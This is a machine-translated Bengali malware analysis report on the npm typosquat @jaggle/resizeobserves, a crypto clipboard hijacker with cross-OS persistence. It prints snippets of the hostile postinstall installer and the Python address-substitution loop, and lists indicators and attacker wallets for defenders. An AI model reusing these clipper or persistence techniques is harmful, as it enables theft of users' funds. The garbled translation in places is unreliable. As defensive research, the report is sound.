TL; ডিআর
২০২৬-০৫-২১ তারিখে, এনপিএম প্রকাশক jaggle নয়টি সংস্করণ প্রকাশ করা হয়েছে (1.0.0 দ্বারা 1.0.8) এর @jaggle/resizeobserves মোটামুটি দুই ঘণ্টার মধ্যে।
প্যাকেজটি আসলটির একটি টাইপোস্কোয়াট। @juggle/resize-observer পলিফিল — একটি বহুল ব্যবহৃত প্যাকেজ যা প্রতি সপ্তাহে লক্ষ লক্ষ বার ডাউনলোড হয় — কিন্তু এতে কোনো প্রকৃত ResizeObserver ইমপ্লিমেন্টেশন নেই।
পরিবর্তে, প্যাকেজটির পোস্টইনস্টল হুক একটি বান্ডেল করা পাইথন পেলোড ইনস্টল করে, পার্সিস্টেন্সকে একটি প্ল্যাটফর্ম-নেটিভ-সদৃশ রানটাইম ব্রোকার হিসেবে রেজিস্টার করে, এবং ক্রিপ্টোকারেন্সি লেনদেনকে লক্ষ্য করে একটি ক্রস-প্ল্যাটফর্ম ক্লিপবোর্ড হাইজ্যাকার স্থাপন করে।
লিনাক্স অধ্যবসায় হিসাবে দেখা দেয় python3-dbus-helper, MacOS as com.apple.python.runtime, এবং উইন্ডোজ as PyRuntimeBroker.
পেলোডটি ক্রমাগত ক্লিপবোর্ডে ওয়ালেট অ্যাড্রেসগুলির জন্য নজর রাখে। ৪০টিরও বেশি ব্লকচেইন এবং নীরবে নকল করা ঠিকানাগুলোকে আক্রমণকারী-নিয়ন্ত্রিত ওয়ালেট দিয়ে প্রতিস্থাপন করে।
ম্যালওয়্যারটি কোনো বহির্গামী C2 পরিকাঠামো ছাড়াই সম্পূর্ণরূপে স্থানীয়ভাবে কাজ করে, ফলে ক্লিপবোর্ড প্রতিস্থাপন প্রক্রিয়াটিই তথ্য পাচারের কৌশল হিসেবে কাজ করে।
প্রাথমিক IOC হলো প্যাকেজের নামটি নিজেই: @jaggle/resizeobserves — লক্ষ্য করুন, “jaggle” শব্দটিতে স্বরবর্ণটি বাদ পড়েছে এবং “resizeobserves” শব্দটিতে “s” অক্ষরটি যুক্ত হয়েছে।
তীব্রতা: উচ্চ।
আক্রমণ: এটি কীভাবে কাজ করে
npm:@jaggle/resizeobserves সাধারণভাবে দেখলে ম্যালওয়্যার বলে মনে হয় না এনপিএম ভিউ। এর README.md এটি হল এর হুবহু README npm:@juggle/resize-observer একই কোড নমুনা, একই ব্যবহারের নির্দেশাবলী, একই '@juggle/resize-observer' থেকে { ResizeObserver } ইম্পোর্ট করুন সর্বত্রই রেফারেন্সের ছড়াছড়ি। নকল এতটাই নিখুঁত যে, ডকুমেন্টেশনের দিকে একবার চোখ বোলালেই যে কেউ ধরে নেবে যে সে আসল প্যাকেজটির ডকুমেন্টেশন পড়ছে।
সার্জারির package.jsonএর বিপরীতে, এটি স্পার্স: না সংগ্রহস্থলের ক্ষেত্র, একটি একক am প্রবেশপথ নির্দেশ করছে বিন/ক্লিপবোর্ড-গার্ডিয়ান.জেএস, এবং একটি পোস্টইনস্টল যে স্ক্রিপ্টটি চলে নোড npm-install.jsREADME-এর “প্রাথমিক ব্যবহার” উদাহরণগুলিতে এমন একটি জাভাস্ক্রিপ্ট ইমপ্লিমেন্টেশনের উল্লেখ করা হয়েছে যা টারবলের কোথাও নেই। প্যাকেজটিতে একমাত্র জাভাস্ক্রিপ্ট হলো ইনস্টল স্ক্রিপ্টটি।
পর্যায় ১ — npm postinstall একটি পাইথন পেলোড বুটস্ট্র্যাপ করে।
npm-install.js প্ল্যাটফর্ম-সচেতন। এটি একটি সনাক্ত করে বীচি একটি নির্দিষ্ট অনুসন্ধান পথ বরাবর কার্যকরযোগ্য (/usr/bin/pip3, /usr/local/bin/pip, ফিরে পতনশীল python3 -m pip), টারবল ডিরেক্টরি থেকে বান্ডেল করা পাইথন প্যাকেজটি ইনস্টল করে, এবং — লিনাক্সে — টেনে আনে xclip or xsell মাধ্যমে apt-get, Pacman, বা dnf যদি কোনোটিই আগে থেকে উপস্থিত না থাকে:
javascript if (PLATFORM === "linux" && !silent("which xclip") && !silent("which xsel")) { run("apt-get install -y xclip 2>/dev/null") || run("pacman -S --noconfirm xclip 2>/dev/null") || run("dnf install -y xclip 2>/dev/null"); } if ( !run(`${pip} install --quiet --upgrade --break-system-packages "${PKG_DIR}"`) && !run(`${pip} install --quiet --upgrade "${PKG_DIR}"`) ) process.exit(1); এর ব্যবহার –ব্রেক-সিস্টেম-প্যাকেজ এটি ইচ্ছাকৃত: আধুনিক লিনাক্স ডিস্ট্রিবিউশনগুলোতে পাইথন PEP 668-এর 'এক্সটার্নালি-ম্যানেজড-এনভায়রনমেন্ট' মার্কারটি সক্রিয় অবস্থায় আসে, যা ডিফল্টরূপে সাইট-ব্যাপী pip ইনস্টল ব্লক করে দেয়। ইনস্টল স্ক্রিপ্টটি জোর করে ইনস্টলটি সম্পন্ন করে।
স্ক্রিপ্টটি sudo-সচেতনও। যখন চলমান uid একটির ফলাফল হয় sudo npm install, স্ক্রিপ্টটিতে লেখা আছে SUDO_USER এবং অর্থ প্রদান করে প্রাপ্ত পাসওয়াড খুঁজে পেতে বাস্তব ব্যবহারকারীর হোম ডিরেক্টরিতে, তারপর এর পার্সিস্টেন্স ফাইলগুলো সেখানে লেখে, অন্য কোথাও নয়। / রুটস্থায়িত্ব ব্যবহারকারী-ভিত্তিক, সিস্টেম-ব্যাপী নয়।
পর্যায় ২ — রানটাইম-ব্রোকার নামের অধীনে ক্রস-ওএস স্থায়িত্ব
পাইথন প্যাকেজটি ইনস্টল করার পরে, স্ক্রিপ্টটি প্রতিটি অপারেটিং সিস্টেমে একটি ভিন্ন নামে একটি অটো-স্টার্ট এন্ট্রি নিবন্ধন করে:
- লিনাক্স — একটি সিস্টেমডি ব্যবহারকারী ইউনিট ~/.config/systemd/user/python3-dbus-helper.serviceইউনিটের বিবরণ is পাইথন ডি-বাস রানটাইম হেল্পারস্ক্রিপ্টটি এর মাধ্যমেও এটি সক্রিয় করার চেষ্টা করে। systemctl –user enable, এর অধীনে একটি ম্যানুয়াল সিমলিঙ্কে ফিরে যাওয়া ডিফল্ট.টার্গেট.চায়/ যখন systemctl ব্যর্থ হয়। sudo-এর অধীনে চালানো হলে, স্ক্রিপ্টটি পরিবর্তিত হয়ে যায় sudo -u systemctl –user, সঙ্গে XDG_RUNTIME_DIR এমনভাবে সেট করুন যাতে ইউজার-বাস কলটি কাজ করে।
- MacOS — একটি লঞ্চএজেন্ট প্লিস্ট ~/Library/LaunchAgents/com.apple.python.runtime.plist সঙ্গে RunAtLoad=true এবং KeepAlive=true, তারপর এর মাধ্যমে লোড করা হয়েছে launchctl লোড.
- উইন্ডোজ — PyRuntimeBroker নামের একটি নির্ধারিত টাস্ক, যা AtLogOn-এর সময় ট্রিগার হয়, এবং যার নির্বাহের সময়সীমা শূন্য (অর্থাৎ, কোনো টাইমআউট নেই), এবং যা PowerShell-এর মাধ্যমে নিবন্ধিত।
এক নজরে তিনটি নামই বিশ্বাসযোগ্য। পাইথন৩-ডিবিইউএস-হেল্পার লিনাক্স ডেস্কটপে বৈধ পাইথন-ডি-বাস ইন্টিগ্রেশনের নামকরণ রীতি অনুসরণ করে। com.apple.python.runtime অ্যাপল তার নিজস্ব পরিষেবাগুলির জন্য যে রিভার্স-ডিএনএস লেবেলিং ব্যবহার করে, তার অনুকরণ করে। পাইরানটাইমব্রোকার উইন্ডোজের প্রতিধ্বনি করে RuntimeBroker.exe — একটি আসল, স্বাক্ষরিত মাইক্রোসফট পরিষেবা যা UWP অ্যাপের জন্য অনুমতির অনুরোধগুলো সমন্বয় করে। এই প্রসঙ্গে এগুলোর কোনোটিই আসল অ্যাপল/মাইক্রোসফট/পাইথন পরিষেবা নয়, বরং একজন ডিফেন্ডারের দ্রুত চাক্ষুষ স্ক্যান। systemctl –user list-units or Get-Seduled Task বিচলিত হওয়ার সম্ভাবনা কম।
পর্যায় ৩ — ক্লিপবোর্ড ছিনতাইকারী
পাইথন পেলোড, যা ইনস্টল করা হয়েছে clipboard_guardian/guardian.pyএটি প্রতি ৪০০ মিলিসেকেন্ড পর পর সিস্টেম ক্লিপবোর্ড পোল করে একটি অনন্ত লুপ চালায়। প্রতিটি টিক-এ, এটি নিম্নলিখিত উপায়ে ক্লিপবোর্ডের বর্তমান বিষয়বস্তু টেনে আনে। pyperclip.paste() এবং সেগুলোকে চল্লিশটিরও বেশি প্রি-কম্পাইলড রেগুলার এক্সপ্রেশনের একটি তালিকার বিপরীতে চালায়, যা Ethereum, Bitcoin, Monero, Solana, TRON, TON, Ripple, Litecoin, Dogecoin, Polkadot, NEAR, Cosmos, Algorand, Stellar, Cardano, Bitcoin Cash, Dash, Zcash, Aptos, Sui, Tezos, MultiversX, Harmony, Terra, Injective, Osmosis, Kava, Celestia, Nano, Filecoin, Ronin, Ergo, DigiByte, Hedera, BNB Smart Chain-এর ওয়ালেট-অ্যাড্রেস ফরম্যাট এবং ডিফল্ট কনফিগে স্টাব করা কিন্তু খালি থাকা আরও বেশ কয়েকটি (Sei, IOTA, Kaspa, Flow, Nervos, Decred, Ravencoin) ফরম্যাটকে অন্তর্ভুক্ত করে।
যখন একটি ম্যাচ মেলে, স্ক্রিপ্টটি সেই চেইনের জন্য আক্রমণকারীর ঠিকানাটি পড়ে নেয়। ~/.config/clipboard-guardian/config.json (অথবা এর প্ল্যাটফর্ম সমতুল্য) এবং প্রতিস্থাপিত পাঠ্য দিয়ে ক্লিপবোর্ডটি ওভাররাইট করে:
python result = find_address_in_text(current, config) if result is None: time.sleep(POLL_INTERVAL) continue chain, found_addr = result my_addr = config[chain] if found_addr == my_addr: time.sleep(POLL_INTERVAL) continue new_text = replace_address_in_text(current, found_addr, my_addr) clipboard_set(new_text) কোনো নেটওয়ার্ক বীকন নেই। ক্লিপারটি হোমে ফোন করে না, সংক্রমিত হোস্ট শনাক্ত করে না, বা কোনো কিছুই পাচার করে না। পাচার প্রক্রিয়াটি হলো স্বয়ং প্রতিস্থাপন: যখন কোনো ব্যবহারকারী তার ওয়ালেট UI থেকে প্রাপকের ঠিকানা কপি করে একটি প্রেরণ ডায়ালগে পেস্ট করেন, তখন পেস্ট করা ঠিকানাটি অপারেটরের হয়ে যায়। ব্যবহারকারীর অলক্ষ্যে, ইন-ব্যান্ডেই তহবিল হারিয়ে যায়।
এখানে নতুন কী আছে
সাধারণ ক্রিপ্টো-ক্লিপার টেমপ্লেটের তুলনায় কয়েকটি বিবরণ বিশেষভাবে লক্ষণীয়:
১. এনপিএম (npm) ও পাইথনের (Python) মিলন। npm-এ আমরা যে ক্রিপ্টো-ক্লিপারগুলো দেখি তার বেশিরভাগই বিশুদ্ধ জাভাস্ক্রিপ্ট, যা প্রায়শই অস্পষ্ট করা থাকে _0x অ্যারে ঘূর্ণন বা eval(atob(…)) স্ট্যাক। এই নমুনাটি একটি পাইথন প্যাকেজের — বিশুদ্ধ পাইথনের — ডেলিভারি র্যাপার হিসেবে এনপিএম টারবল ব্যবহার করে এবং ডিপেন্ডেন্সি ইনস্টলেশনের দায়িত্ব পিপ-এর উপর ছেড়ে দেয় (পাইপারক্লিপ, পুটিল, ঐচ্ছিক setproctitle) বান্ডেলে ঘোষিত pyproject.tomlএখানে ভেদ করার মতো কোনো জাভাস্ক্রিপ্ট দুর্বোধ্যতা নেই। ক্লিপারটি নিজেই সাধারণ, পাঠযোগ্য পাইথন কোড।
২. বিশ্বাসযোগ্যতার ভিত্তিতে নির্বাচিত ট্রাই-ওএস পারসিস্টেন্স লেবেলসমূহ। অনেক ক্রস-প্ল্যাটফর্ম ইনস্টলার জেনেরিক নামের অধীনে পার্সিস্টেন্স রেজিস্টার করে (আপডেটার.পরিষেবা, helper.plistএই স্যাম্পলটি প্রতিটি অপারেটিং সিস্টেমের প্ল্যাটফর্ম-নেটিভ রানটাইম ব্রোকারের সাথে সাদৃশ্যপূর্ণ লেবেল বেছে নেওয়ার জন্য যথেষ্ট যত্ন নেয়। এর নামকরণই হলো গোপনীয়তা রক্ষার একমাত্র প্রচেষ্টা — এখানে কোনো রুটকিট, ইউজারল্যান্ডে লুকানোর ব্যবস্থা বা পাথ অবফাসকেশন নেই। ধারণা করা হয় যে, ডিফেন্ডাররা খুব কমই এটি নিরীক্ষা করে। ~/.config/systemd/user/ এবং যে একটি পরিষেবা যার নাম পাইথন৩-ডিবিইউএস-হেল্পার সাধারণ পর্যালোচনায় এটি আলাদাভাবে চোখে পড়বে না।
৩. প্রক্রিয়া-শিরোনামের ছদ্মবেশ বাস্তব, কিন্তু বিশ্লেষণ-বিরোধিতা সুপ্ত। পাইথন পেলোড একটি সংজ্ঞায়িত করে _ছদ্মবেশ_প্রক্রিয়া() যে ফাংশনের মাধ্যমে প্রসেসের শিরোনাম নির্ধারণ করা হয় setproctitle (লিনাক্স/ম্যাকওএস) অথবা SetConsoleTitleW (উইন্ডোজ) — এবং প্রধান () এটাকে ডাকে। তাই ps aux প্রদর্শন করা হবে পাইথন৩-ডিবিইউএস-হেল্পার পরিবর্তে python3 …/guardian.pyতবে, একই মডিউল একটি সংজ্ঞায়িত করে is_monitor_running() পরিচিত প্রসেস-মনিটরিং টুলগুলির তালিকা তৈরি করার ফাংশন (htop, বিটপটাস্ক ম্যানেজার, অ্যাক্টিভিটি মনিটর, প্রসেস হ্যাকার, রিসোর্স মনিটর, GNOME / KDE / Xfce / MATE সিস্টেম মনিটর, ইত্যাদি) — এবং প্রধান () এটি কখনোই কল করা হয় না। ব্যবহারকারীর প্রসেস মনিটর খোলা থাকুক বা না থাকুক, সাবস্টিটিউশন লুপটি শর্তহীনভাবে চলে। প্রকাশিত সংস্করণে ফাংশনটি ডেড কোড। এটি সম্ভবত পূর্ববর্তী কোনো সংস্করণের অবশিষ্ট অংশ, অথবা এমন কোনো ফিচারের কাঠামো যা এখনো সংযুক্ত করা হয়নি। উভয় ক্ষেত্রেই, প্রকাশিত পেলোডের বিশ্লেষণ-বিরোধী উপায় হলো একটি প্রসেস-টাইটেলের নাম পরিবর্তন, সক্রিয় মনিটর এড়ানো নয়।
৪. বান্ডেলকৃত কনফিগ-মার্জ আচরণ। npm-install.js ডিফল্ট ওয়ালেট তালিকা লেখে ~/.config/clipboard-guardian/config.json এবং, যদি একটি কনফিগারেশন ফাইল আগে থেকেই বিদ্যমান থাকে, তবে এটি এমন সমস্ত কী-কে একীভূত করে দেয় যাদের বর্তমান মান খালি। এর মানে হলো, এমন একজন ব্যবহারকারী যিনি পূর্বে সংক্রমিত হয়েছিলেন এবং কনফিগারেশনটি আংশিকভাবে পরিষ্কার করেছিলেন — যেমন, খালি করে দিয়ে। ethereum মান — পরবর্তী প্রতিটি ক্ষতিকারক প্যাকেজ ইনস্টলের মাধ্যমে এটি পুনরায় পূরণ করা হবে। কোনো কোড পাথেই পার্সিস্টেন্স ফাইলটি পরিষ্কার করা হয় না।
| তারিখ / সময় (ইউটিসি) | ঘটনা |
|---|---|
2026-05-21 18:50:32 | @jaggle/resizeobserves@1.0.0 প্রকাশিত। |
2026-05-21 19:55:55 | 1.0.1 প্রকাশিত — বাহ্যিক স্ক্যানিংয়ে প্রথম সংস্করণটি চিহ্নিত হয়েছে। |
2026-05-21 19:58:10 | 1.0.2 প্রকাশিত। |
2026-05-21 20:05:03 | 1.0.3 প্রকাশিত। |
2026-05-21 20:09:24 | 1.0.4 প্রকাশিত। |
2026-05-21 20:13:48 | 1.0.5 প্রকাশিত। |
2026-05-21 20:41:52 | 1.0.6 প্রকাশিত। |
2026-05-21 20:43:56 | 1.0.7 প্রকাশিত — একটি যোগ করে try/catch wallet-config লেখার ধাপের চারপাশে র্যাপার npm-install.js. |
2026-05-21 20:46:15 | 1.0.8 প্রকাশিত — ইনস্টলারের নাম পরিবর্তন করা হয়েছে npm-install.js → npm-install.cjs (বাইট-অভিন্ন বিষয়বস্তু)। |
2026-05-22 | রায় এবং আইওসি প্রকাশিত হয়েছে। প্রকাশের সময় সংস্করণগুলি এখনও রেজিস্ট্রি-তে সক্রিয় আছে (চলমান)। |
এক ঘন্টা ছাপ্পান্ন মিনিটে নয়টি সংস্করণ তৈরি করা একজন টাইপোস্কোয়াটের জন্যও দ্রুত। এই ধরণটি একটির সাথে সামঞ্জস্যপূর্ণ। প্রকাশ ও পোড়ানোর অভিযান — একটি হ্যান্ডেলের অধীনে রেজিস্ট্রিকে প্লাবিত করুন, সনাক্তকরণকে তার নিজস্ব গতিতে চলতে দিন, এবং একটি সংস্করণ অপসারিত হয়ে গেলে একটি নতুন হ্যান্ডেলে চলে যান। পুরো প্রক্রিয়া জুড়ে দৃশ্যমান পার্থক্যগুলো কেবল বাহ্যিক: ১.০.১ সংস্করণে সুস্পষ্ট পরিবর্তন যোগ করা হয়েছে। /usr/bin/pip3pip সার্চ লিস্টের জন্য -স্টাইল পাথ (sudo-সামঞ্জস্যপূর্ণ), 1.0.7 সংস্করণে wallet-config লেখার কাজটি একটি try/catch ব্লকের মধ্যে রাখা হয়েছে, এবং 1.0.8 সংস্করণে ইনস্টলারটির নাম পরিবর্তন করা হয়েছে .js থেকে .cjs এর বিষয়বস্তুকে বাইট-অভিন্ন রেখে। .cjs সুস্পষ্ট অনুমতি ছাড়া প্যাকেজের মধ্যে অস্পষ্ট মডিউল রেজোলিউশন সম্পর্কে npm সতর্কবার্তা সহ ট্র্যাকগুলির নাম পরিবর্তন করুন। "প্রকার" এবং এটি ইনস্টল-সময়ের এমন অপ্রয়োজনীয় তথ্য দমন করার একটি প্রচেষ্টা হতে পারে যা মনোযোগ আকর্ষণ করতে পারে। পাইথন পেলোড—একমাত্র যে অংশটি আসলে তথ্য চুরি করে—তা নয়টি সংস্করণেই অপরিবর্তিত রয়েছে।
সমঝোতার সূচক
প্যাকেজ
| ইকোসিস্টেম | প্যাকেজ | সংস্করণ | অবস্থা |
|---|---|---|---|
| npm | @jaggle/resizeobserves | 1.0.0 দ্বারা 1.0.8 | প্রকাশের সময় লাইভ; সরিয়ে ফেলার অনুরোধ করা হয়েছে। |
ফাইল এবং হ্যাশ
| পথ | নোট |
|---|---|
clipboard_guardian/guardian.py(md5 f7935c2c82bc881288611ab6cd634f17) | প্রকাশিত নয়টি সংস্করণেই অভিন্ন (1.0.0 দ্বারা 1.0.8ক্লিপার পেলোড। |
npm-install.js (1.0.0 – 1.0.7)npm-install.cjs (1.0.8) | স্থায়ী ইনস্টলার; শুরু থেকে শেষ পর্যন্ত একই আচরণ। 1.0.7's .js এবং 1.0.8's .cjs বাইট-অভিন্ন। |
~/.config/clipboard-guardian/config.json | লিনাক্স পার্সিস্টেন্স কনফিগ এবং ওয়ালেট বান্ডেল। |
~/Library/Application Support/clipboard-guardian/config.json | ম্যাকওএস পার্সিস্টেন্স কনফিগ এবং ওয়ালেট বান্ডেল। |
%APPDATA%\clipboard-guardian\config.json | উইন্ডোজ পার্সিস্টেন্স কনফিগ এবং ওয়ালেট বান্ডেল। |
~/.config/systemd/user/python3-dbus-helper.service | লিনাক্স অটো-স্টার্ট পারসিস্টেন্স। |
~/Library/LaunchAgents/com.apple.python.runtime.plist | ম্যাকওএস লঞ্চএজেন্ট স্থায়িত্ব। |
~/Library/Logs/com.apple.python.runtime.log | এজেন্টের জন্য macOS stdout/stderr লগ। |
Scheduled Task PyRuntimeBroker | উইন্ডোজ অটো-স্টার্ট টাস্ক (AtLogOn, কোনো টাইমআউট নেই) |
আচরণগত সূচক
| সংকেত | বিবরণ |
|---|---|
pip install --break-system-packages npm পোস্টইনস্টল থেকে | PEP 668 সুরক্ষা এড়িয়ে সাইট জুড়ে পাইথন ইনস্টলেশন জোরপূর্বক চাপিয়ে দেয়। |
apt-get install -y xclip (অথবা প্যাকম্যান/ডিএনএফ) | প্যাকেজ ইনস্টলেশনের সময় লিনাক্সে ক্লিপবোর্ড ইউটিলিটি ইনস্টল করে। |
python3-dbus-helper.service সিস্টেমডি ব্যবহারকারী ইউনিট | একটি বিশ্বাসযোগ্য রানটাইম-হেল্পার নামের অধীনে পার্সিস্টেন্স নিবন্ধিত করা হয়েছে। |
com.apple.python.runtime লঞ্চ এজেন্ট | বৈধ অ্যাপল সিস্টেম পাথের বাইরে পার্সিস্টেন্স লেবেল। |
PyRuntimeBroker নির্ধারিত কাজ করার | কোনো বৈধ ইনস্টলার উৎস ছাড়াই নকল উইন্ডোজ রানটাইম ব্রোকার পারসিস্টেন্স। |
পাইথন প্রক্রিয়া যার শিরোনাম python3-dbus-helper আমদানি pyperclip এবং psutil | প্রদর্শিত প্রসেসের নাম এবং ইম্পোর্ট করা লাইব্রেরিগুলোর আচরণগত অমিল। |
| ওয়ালেট-অ্যাড্রেস কপি করার প্রায় ০.৪ সেকেন্ড পর ক্লিপবোর্ড পরিবর্তিত হয়। | ক্রিপ্টোকারেন্সি ঠিকানা প্রতিস্থাপনের সিগনেচার আচরণ। |
আক্রমণকারীর ওয়ালেট বান্ডেল (প্রতিরক্ষাকারীর শিকারের তালিকা)
ওয়ালেট তালিকাটি হার্ড-কোড করা থাকে। npm-install.js এবং clipboard_guardian/guardian.pyডিফেন্ডাররা এই তালিকাটিকে ব্লক লিস্ট (কর্পোরেট ওয়ালেট থেকে এই অ্যাড্রেসগুলিতে করা যেকোনো ট্রান্সফারকে সন্দেহজনক হিসেবে গণ্য করতে) এবং হান্টিং কী (কোনো আনঅথেনটিকেটেড কনফিগ ফাইল, বিল্ড আর্টিফ্যাক্ট বা ডেভেলপার মেশিনে এই স্ট্রিংগুলির উপস্থিতি সংক্রমণের সূচক হিসেবে গণ্য করতে) উভয় হিসেবেই ব্যবহার করতে পারে।
আক্রমণকারী ওয়ালেট বান্ডেল
| চেন | ঠিকানা |
|---|---|
| ইথেরিয়াম / বিএসসি | 0x450c0E58Fc2ba03632d3F5780ad8C966648B6F18 |
| রোনিন (ইভিএম) | ronin:450c0E58Fc2ba03632d3F5780ad8C966648B6F18 |
| Bitcoin | bc1qs2mpls4p0f7fng073gy2rcdgjpf7la4eugpt6y |
| বিটকয়েন ক্যাশ | bitcoincash:qqmvyxxklzp7l3eslxavhc8phl6hprdf25lwc29nlt |
| Litecoin | ltc1qnefc8x59a9cwtqnflt8hmqvezqw4hc7lt3fkqe |
| Dogecoin | DNEJmYRZtzyK44tZea4S7wV3otTyRk48Fy |
| হানাহানি | XtJ7E6mnhPK93Vib29PGQrTmQjhTTqFwbS |
| Zcash | t1d4hcEnBjdh9X6Wb6R2dxqjnxddJ6ocP8M |
| DigiByte | DPmH2dhiGK3hk3A69tZUMz6tHzGFHBzSrH |
| Monero | 42zhAidVhP7QETk83JAspS59ASALSHFio44vmu6MdDCz15cSqtqsG4QVyzY8vTrjGrTEA6zMbWW6Yft1Ynz1xLfCN5FVbXf |
| সোলানা | DWBAmQLi9gP6mk7UfJfQGYTV1UPK32WekLTqg83q1mc5 |
| ট্রন | TVgEgMemmJABYYnbNr1Wi8bSgADEkdEBt2 |
| TON | UQDTSkvwmptU9eG988KgxS3WjnYAZlXgfpJxnz4mhWZAvULr |
| Ripple | r9tj3cMCiqRijNYqNVYNuwKykkQfS8FE4H |
| polkadot | 1JSkYqXQE4d28HdcmTPhbgCrdiPFTfSHxD67tam16p53oBG |
| NEAR | 5d6aec44551529e8cd9ebd3aaa84b3832fc3c7463596b2b6e72635b80096a364 |
| নিসর্গ | cosmos1pzfl3kv5g8g0ernj86rwpar08u2zl9suthx28e |
| আস্রবণ | osmo1pzfl3kv5g8g0ernj86rwpar08u2zl9surv463t |
| সেলেশিয়া | celestia1pzfl3kv5g8g0ernj86rwpar08u2zl9su6ah6a5 |
| ইনজেক্টিভ | inj1g5xquk8u9wsrvvkn74uq4kxfvejgkmccn578gh |
| Kava, Pest megye- | kava1kjfvgcz4q0y9yae2f3pa33vhj2estxxj3sqqux |
| সাদৃশ্য | one19hn0n7dzkhtl9ta9ekv5592s85jwstpka76t3a |
| পৃথিবী | terra1h0dwu8z405jagdlr0fgr9jllac2sxajzlgme5x |
| Algorand | XSAMN3FTB5SUHUQFENBDDRXIMOPNFVLKAWA3RNOU54DWROMDZ6SR7DZ2PI |
| নাক্ষত্রিক | GACNZSV4EQO65NZZUOBS3TMJM7GFTSRNKQBVJOX5P2G7U7SEBQ2ZUDJE |
| Cardano | addr1qyj050vla4cglmyrgm4vzf3dxtn0gynpks4t7vp7s3lg49e9wt0s94hcztzdgecxcz5hu9uk56q60yth6d66w026s2kq3ma56f |
| মাল্টিভার্সএক্স | erd1slvlgqsmwzk0c8xtksm4eq5vdfnc26slpzqsyxhz456zvme5rpasue6ge0 |
| অ্যাপটোস | 0x580ecda1ebd6ca5a46be2097568d013308bd54ef1d147acb880b59f7709f280e |
| স্বজাতীয় | 0xf7e8a9a970fa65c058745c4b2cf2a856cc0283863e4ed1e142648f26097b0c78 |
| ন্যানো | nano_393n56a5pfz8zg3nkzf7mytfgagzhu5mn9i3xiqg54weq8n1u8jgezxas7dn |
| Filecoin | f1fypyww3xubopfnv7q6yh5l4bko44wmfktf3ckui |
| Tezos | tz1RccjnorHk61bt73ArLXcdgFjEj6T1ochk |
| অতএব | 9g1pNQGnFg7Hk1d9Z66bgHMkguGU7R41btypAnbG1NF5FJoNdBA |
| শিরোলেখ | 0.0.10488092 |
ডিফল্ট কনফিগে রেজেক্স কভারেজ থাকা সত্ত্বেও ওয়ালেট স্লট খালি থাকা চেইনগুলো — যেমন Sei, IOTA, Kaspa, Flow, Nervos, Decred, Ravencoin, Beacon-Chain BNB — এই বিল্ডে সক্রিয়ভাবে প্রতিস্থাপিত হয় না, তবে শনাক্ত করা হয়। এগুলোকে প্রতিস্থাপনের আওতাভুক্ত না করে পর্যবেক্ষণের আওতাভুক্ত হিসেবে বিবেচনা করুন।
আরোপণ এবং প্রেরণা
এই অভিযানের মাধ্যমে পরিচয় শনাক্ত করার সুযোগ খুবই সীমিত। আমরা পরিচালনাকারীর পরিচয় নিশ্চিত করতে পারিনি। আমরা যা রেকর্ড করতে পেরেছি:
- প্রকাশক মেটাডেটা। এনপিএম অ্যাকাউন্ট জ্যাগল এর ইমেল তালিকাভুক্ত করে olgascarlet@deltajohnsons.comডোমেইন deltajohnsons.com এটি এমন কোনো কর্পোরেট পরিচয়ে পরিণত হয় না যা আমরা যাচাই করতে পারি। এনপিএম অ্যাকাউন্টে কোনো ইমেল যাচাইকরণ এবং কোনো কিছু দেখাচ্ছে না। SCM যাচাইকরণ। এর সাথে সম্পর্কিত কোনো পাবলিক গিটহাব উপস্থিতি নেই।
- রিপোজিটরি ফিল্ড। সার্জারির package.json কোনো বহন করে না সংগ্রহস্থলের ক্ষেত্র। বৈধ npm:@juggle/resize-observer এটি হাজার হাজার স্টার এবং সক্রিয় ইস্যুসহ একটি আসল গিটহাব রিপোজিটরি নির্দেশ করে। এনপিএম ইউআই-তে রিপোজিটরি লিঙ্কের অনুপস্থিতিই হলো এটি চেনার সবচেয়ে দ্রুততম দৃশ্যমান উপায়।
- README-তে চৌর্যবৃত্তি। প্যাকেজের README বৈধ। @juggle/resize-observer README-এর প্রতিটি অংশ, যার মধ্যে অন্তর্ভুক্ত রয়েছে আমদানি যে উদাহরণগুলি উল্লেখ করে @juggle/resize-observer এটি নিজেই (পাবলিশিং প্যাকেজ নয়)। অপারেটর ইম্পোর্টগুলো নতুন করে লেখারও প্রয়োজন মনে করেনি — যা একটি সাধারণ লক্ষণ যে রিডমি ফাইলটি হুবহু তুলে নেওয়া হয়েছে, অভিযোজিত করা হয়নি।
- দিক পরিবর্তনের জন্য কোনো পরিকাঠামো নেই। এখানে কোনো C2 এন্ডপয়েন্ট, ডিএনএস লুকআপ বা আইপি নেই। ক্ষতিকারক কার্যকলাপটি সম্পূর্ণরূপে স্থানীয় ক্লিপার এবং হার্ড-কোডেড ওয়ালেট বান্ডেলের মধ্যে আবদ্ধ থাকে। এর ফলে ডোমেইন- বা এএসএন-ভিত্তিক পিভোটিং সম্ভব হয় না। বিভিন্ন ক্যাম্পেইনে পিভোটিং করার সময় ডিফেন্ডারদের উচিত তাদের ফাইলে থাকা যেকোনো পূর্ববর্তী ক্লিপারের সাথে ওয়ালেটগুলোকে হ্যাশ-ম্যাচ করা; বিভিন্ন প্যাকেজের মধ্যে একটি ওয়ালেটের পুনঃব্যবহারই হলো সবচেয়ে সহজবোধ্য ক্রস-ক্যাম্পেইন সংযোগ।
- নামকরণের পছন্দ। @jaggle/resizeobserves একটি অক্ষর দূরে @juggle এবং সুপরিচিত থেকে একটি ভিন্ন সুর আকার পরিবর্তন-পর্যবেক্ষকসম্মিলিত সম্পাদনা-দূরত্ব হলো দুটি গ্লিফ। এটি একটি ইচ্ছাকৃত দৃশ্যগত সংঘর্ষ, কোনো সাধারণ স্থানচ্যুতি নয়।
পেলোড আচরণের উপর ভিত্তি করে এর পেছনের উদ্দেশ্য হলো: সুযোগসন্ধানী ক্লিপবোর্ড প্রতিস্থাপনের মাধ্যমে নিছক অর্থ উপার্জন। এখানে কোনো ক্রেডেনশিয়াল হার্ভেস্টিং, হোস্ট ফিঙ্গারপ্রিন্টিং বা এনভায়রনমেন্ট-ভেরিয়েবল রিডিংয়ের ব্যবস্থা নেই। ভুক্তভোগী কে, তা নিয়ে অপারেটরের কোনো মাথাব্যথা নেই — তাদের কাছে গুরুত্বপূর্ণ হলো ভুক্তভোগীর পরবর্তী ট্রান্সফারটি যেন তালিকাভুক্ত ঠিকানাগুলোর কোনো একটিতে যায়। এই চল্লিশ-চেইন কভারেজ হলো লটারি মডেলের বাস্তব প্রয়োগ: ব্যাপকভাবে চেষ্টা করা এবং আশা করা যে প্রতি N সংখ্যক ইনস্টলের মধ্যে অন্তত একবার একটি উচ্চ-মূল্যের পেস্ট সফল হবে।
